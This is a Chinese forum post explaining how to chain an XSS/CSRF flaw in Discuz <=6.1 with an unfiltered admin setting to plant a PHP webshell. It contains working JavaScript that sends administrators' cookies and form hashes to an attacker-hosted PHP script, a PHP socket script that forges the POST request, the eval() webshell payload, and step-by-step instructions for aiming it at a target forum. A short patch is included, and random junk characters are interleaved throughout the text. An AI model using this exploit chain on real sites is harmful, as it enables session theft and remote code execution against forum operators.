Discuz XSS得webshell4 v1 w7 @1 v0 g
By racle @tian6.com" b. R- M$ g+ f2 T7 p, k
欢迎转帖.但请保留版权信息.: l: d1 b! M+ b5 o
受影响版本iscuz<=6.1.0,gbk+utf+big5
+ D4 x% _- o- C8 W- ?: ^$ D# F2 s
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
# N1 e3 z; R1 g- m3 L6 O, v: f9 d0 N5 v; T& k
) I9 |1 l0 @" U* k2 @! h* d/ C1 a3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* N0 z9 }' F+ Z' f% O当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
6 B6 D3 P* w+ w5 \( j! W/ `( z4 z
& }0 A& R p! b& r: S: y分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.. D0 J" H& C" E5 N6 i
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS, ]& e \2 P1 k0 f1 w
) [0 ]# u- L% {% u; U! v( W5 d
& [) I/ v% e5 j
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
' c% P% t) I6 O/ D( n- e! a8 M+ Y/ m7 `. ?& ~* t( N! j) L
% n3 X$ m6 I2 U6 y6 Q! kproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
* B4 t K+ \0 F" Q9 {' J
' `, W% Z5 h' R* E A1 r$ Iproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.; t; Z2 }3 p) t; L; V+ {; c
/ U$ t. P$ X4 |6 m; |! vproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
" `/ u% h) V8 N: q0 i, C" J, W/ k3 b! E$ u2 Y( O
+ a& E7 x2 c4 c) O& [& s
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {+ O2 }) [1 E* v( X
6 R5 o5 p' Z3 x4 A; b
global $runwizardfile, $runwizardhistory;
$ c7 j5 O+ v) n/ ~/ c7 V# v8 D0 D8 ?9 @+ F
$fp = fopen($runwizardfile, 'w');
1 U8 @. B2 p+ k% z! K! A: T
8 w& M6 b/ J8 K$ W: R! ?4 x H1 S fwrite($fp, serialize($runwizardhistory));5 s" G2 e# W4 r" x1 P
9 [. F' C$ |0 m5 e6 v
fclose($fp);
8 c) }4 H* F+ C
2 R3 z7 y" o. Z2 X% ^4 H}
6 u! t' z- k3 Q, [9 ?复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.% K6 t* I" D- ?: l6 G
以下是修补的办法:function saverunwizardhistory() {: a1 u0 }" I* g e, E( c
" A5 u* K4 D2 V I" P
global $runwizardfile, $runwizardhistory;
: p+ Z& [7 U% _
2 V/ L- L. i6 _( H/ b9 B $fp = fopen($runwizardfile, 'w');
! s& O: F2 c- C- `7 A- ~; X% l/ o. C
$s = '<?php exit;?>';# u, t n3 U7 b1 Q3 \) y
. S8 a5 { H- k( }
$s .= serialize($runwizardhistory);
# e J3 a) M1 p6 D
4 V; \6 J2 X+ L fwrite($fp, $s);$ m- B+ H3 W8 t$ y& T! f( d6 A
7 r) N. a5 a* d/ f& D0 n+ ?
fclose($fp);$ r% K6 k+ k4 t
. |+ H- R8 x; W
}' h1 g1 w R. E \
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.2 g6 x* |" I7 T# X. j( Y' @8 v
6 V5 }) Y& m# i* {+ z8 \
* A* A/ Q* Q4 N2 A( |1 i2 ?$ B( { H3 X" c
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
! C, f( [$ m- D& j; e0 b3 U1 G5 w, O/ X0 v9 E; B
2 ^0 u9 S8 q W4 o7 e 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
) [2 c a" {' \) ?9 y6 N$ b; o2 Y- R$ ^: ?6 ?" q6 \! e6 z9 O
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.7 g8 O7 `4 K3 }
6 o& I$ j% P( T8 T
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
Q& j T8 o3 C) k- t+ M. K1 ~! v& e) y9 o' \
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
; g7 Q, R% W/ M* y ~3 e2 \# j* ]) b y ^& R' Z* X% d
var url="http://目标网站/admincp.php";
& c8 }+ P$ [( Z; p& x9 C. u
0 u5 z7 }# O; \2 a2 t/ b* a/*获得cookies*/
5 k0 e2 W( m1 m; V4 N$ }1 h* e
: s* Y. L! v( f8 A2 [0 C5 Xfunction getURL(s) {" r/ A( @) r, ^5 U! Q4 u+ m
# O$ L) e1 Z! B7 Z: J* c
var image = new Image();
; x5 @. ], Y0 @1 @3 i0 g: `7 W6 ^! q' S$ V0 F. M; Z
image.style.width = 0;
% @3 M* k) J5 ]0 F
0 h6 D. ~" B- j4 V& _5 Uimage.style.height = 0;
% T' E1 u( b) C2 `6 B- I
% L' ~$ _1 R6 Z' L. ]9 Z, J) a. timage.src = s;: j$ F+ ~) Z0 [8 H
V7 a, R: A1 P" \2 S1 F* |
}
0 p. ^; H% w8 W& Q! h! A, ]$ `
/ M2 t4 C3 `4 M' }) B1 K( JgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php9 C3 ` l W9 Q; u
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];7 @" ^! i: U6 m+ B9 D0 n9 j
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ! J5 _9 Q1 V& `9 ]
$ Y; l! I6 ?3 I+ [/ z$ }3 W4 s3 F8 j8 I( X8 x: u3 z" e' ~8 j
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
% w! K- ?, `, y6 t7 m
6 N( Y8 V( e* N: M4 W0 A% y
% |. F- ^4 I: y7 O3 F% Y L2 c/ I6 R
5 B" |, ~, r9 j0 i/*hash*/
. C5 y* ]" S) D3 ^% U
# ]& U4 \" G+ f0 u5 Zvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");7 c3 F+ c$ H# P; W/ G) L
- S7 }6 }: ]' [; Y g- I- HxmlHttpReq.open("GET", url+"admincp.php?action=home", false);+ [1 R% c2 W7 B* y" G% T( |
1 m0 C* s5 f5 M2 D
xmlHttpReq.send();0 ]& X% O$ i0 Y6 l6 V
9 l% w/ B7 T+ P5 U2 t
var resource = xmlHttpReq.responseText;
. R/ ?/ Z; k4 q( A% b p! V* o; C# K" i" t- y. v) @" \- M A, O0 f
var numero = resource.search(/formhash/);; E2 l2 f# q: o, ^ Y' |
5 I) I6 Z5 [, c0 G
var formhash=encodeURIComponent(resource.substr(numero+17,8));0 d- P, m2 Y; c4 s+ R5 x8 p
/ n2 _+ e1 q6 h
/ ?7 b1 M, x; `( @) I% n: J% q/ n! L" o# _3 C+ }0 ?* j
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 . W* B" F, p0 l/ K7 ^, H/ C
9 q [, e6 ]* [7 K0 G6 fxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
$ `9 Y# c' \4 I& T' I" r8 Q4 @4 v) Z& X1 g. l" B1 h; L# a
xmlHttpReq.setRequestHeader("Referer", url);
& v3 r- }8 j: B- i; x6 g" X) }% q9 f" q* g3 u- e
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
4 A5 o7 b7 t5 v. b M, R: o* {; A5 a8 S& H
xmlHttpReq.setrequestheader("content-length",post.length); e5 `7 B& w* \7 Y2 a' ^
) |1 U: C5 a) E1 C, k" a9 o$ _xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
" L6 e& [% i: }2 H3 m. ?$ A/ X* U! s4 Y
xmlHttpReq.send(post);//发送数据
: W3 u, m& c3 p6 h1 S' S+ I复制代码这里HASH我假设正确,这样提交,也无须cookies
8 z: X' S9 _( r6 g1 v4 ~( N& C6 n) }8 ]! v3 N" F* Z7 @9 V
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
7 u. @2 s1 L: k
1 ]3 e) g) M' g. R2 Nif (!$sock) die("$errstr ($errno)\n");
$ X5 E1 q0 {6 n, O+ N( J, Q! o4 f0 c6 x. r9 F
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';" B1 d( _- ~, g: J7 ~
4 l7 K2 | h9 V; a+ Z
0 V( t; D) b2 J/ n4 S
. b9 M$ J& J& l- Efwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");3 I& }. V8 W' ~9 P2 k2 t: i
7 ^* m3 }9 u0 D3 g; U+ ^fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");6 D, F2 Z2 @: Y1 q: V
: d/ ?9 V( W1 y$ M; A( L
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
2 `4 d, O/ G5 P" l: d* D& Y$ t- ]) f/ b* A8 \
fwrite($sock, "Accept-Language: zh-cn\r\n");
0 I, h: {* L n1 b7 F1 s; V+ P- N5 @! P7 x I% b
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");% R v6 D- S* {- e5 s
; i3 b; o$ o+ M3 A) q4 l# Gfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");7 Y9 a9 C4 m( q5 s5 k' ^
& ]1 ^1 A. F+ h( a/ kfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");& B/ z( b1 ?- x! p. B2 g* x
! @/ `* u; K1 a8 e3 _
fwrite($sock, "Host: $url\r\n");
# e* Q. t1 V/ P) `! g$ v* ]7 ^! h; i# S: y+ K8 {& @
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");3 D j+ }% a8 o
) } p5 j4 A2 x$ D% ]fwrite($sock, "Connection: Keep-Alive\r\n");
5 e5 p9 w/ T n p$ B8 Z9 j* k# o/ v
0 |- g3 Z3 j; w3 r( ffwrite($sock, "Cache-Control: no-cache\r\n");+ b7 S* U. }. I* U/ f% g* i/ K) `
, l9 {& o% S3 X& o7 Nfwrite($sock, "Cookie:".$cookies."\r\n\r\n");/ T" T" Q, J( Y- n6 V7 S1 j9 k5 b5 [
- V5 u( O5 L, t5 qfwrite($sock, $data);
% S( i, ~6 S& x! D& @( a
2 n" h& I& i9 M r# i* i6 [' V( ~! d4 J7 H& V
% s; v. N# X$ ]$headers = "";
; h+ y4 Y5 b8 Z6 Q! m! v
* i; h* G2 F; S B. Ewhile ($str = trim(fgets($sock, 4096)))
) @7 n" U6 A6 R' L& [& `% }4 h( _5 H" v* g8 t
$headers .= "$str\n";
5 \' S) }. ~' u7 Q" s2 [2 _/ j& k! q/ E' j
echo "\n";* j. K! u+ k n) x
7 i g, F4 K* }$body = "";, r4 {' O& o1 c/ L; C/ ?; j
) }7 m# r& B/ a8 b, h
while (!feof($sock))7 p' ~$ h5 W Y5 N/ }4 J
% m8 O$ W) i0 [; t/ O1 q9 ?
$body .= fgets($sock, 4096);
( M' c( P: y9 `/ {& J( F; B- p& N. f' p( }
fclose($sock);1 O. @ u) p+ F' R9 K
/ @7 }7 w# y* a7 r' {
echo $body;
0 T& r/ w$ @. [复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^6 x* m, y3 c8 Y& t) K$ t0 @
l3 U5 o+ O1 ^( ?( N
. b# p/ i" ]% b
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
% T3 X% [/ z3 G$ b+ k5 U x [/ h1 g1 e8 p4 d7 ~# t
/ r+ g4 @( V5 n5 Z2 z" J6 n1HP SOCKET利用方法首先打开racle.js7 O6 X/ D) K0 v2 L2 u" t
5 P3 _9 ~4 b' x; F. n. f& O9 I
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home2 `: b, F0 K# J4 u: H
; K- A; ^1 E/ k e+ t& r7 N5 `
0 X: p( @2 w& C% D
9 g" N$ i5 [& F6 @3 ^8 u然后打开racle@tian6.php8 c6 i( n$ Q1 _3 l+ B& }3 s" m
' @2 ~/ M6 M( D5 M9 o& o$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com0 G. Q7 r, K% ]8 I) f
5 b. I( T! j/ ^' V
! C- f; [2 U; X! H; L2 o0 U- z) K8 j- C6 f
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:7 G9 \3 K9 R+ }$ R# `) O: Z
! k6 z: m( @% e% _
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));0 P2 G0 ~0 l+ ], r g) W( d$ W* I7 q
2 S. S, N6 Q9 l4 K0 g! d
为1 V# O$ z: T3 t) F
Z% a: p! b* {& i2 \
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
* e7 o' J8 \5 M+ @5 S- c& j8 G( C复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.5 y/ Q. C$ R. H' s. u4 S
( O9 x% k5 K+ v3 f0 \8 K% Z; S& E1 C- W+ A v% b) H3 q
8 R# c. Y2 x1 E7 ]# ~( t0 {如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ p0 G6 X, V4 s7 _' D
' S' H1 U1 W9 q2 L# tvar formhash=encodeURIComponent(resource.substr(numero+17,8));
# b# H) Z/ V! Q/ a0 h/ ~1 J- C/ z) F o& |: [2 z H( [
为, `" p; z1 k1 `
" V3 ~3 i& J) fvar formhash=encodeURIComponent(resource.substr(numero+9,8));" K* E' X; i! ~8 ^0 W
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.1 A% o! U# i- d# X# ?
0 G# |5 Q2 ?: @! k
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
) ]+ k4 U4 s# w: F) m8 w8 J" Z1 X7 l7 z3 y* G) o/ _
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.9 ?, _) g' M8 E# }8 n
" G) p% X$ a1 }8 W( L不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧., M* U! {8 J& N/ B3 w
$ D! i0 ?: n. A8 R! z/ C- s' t/ T
|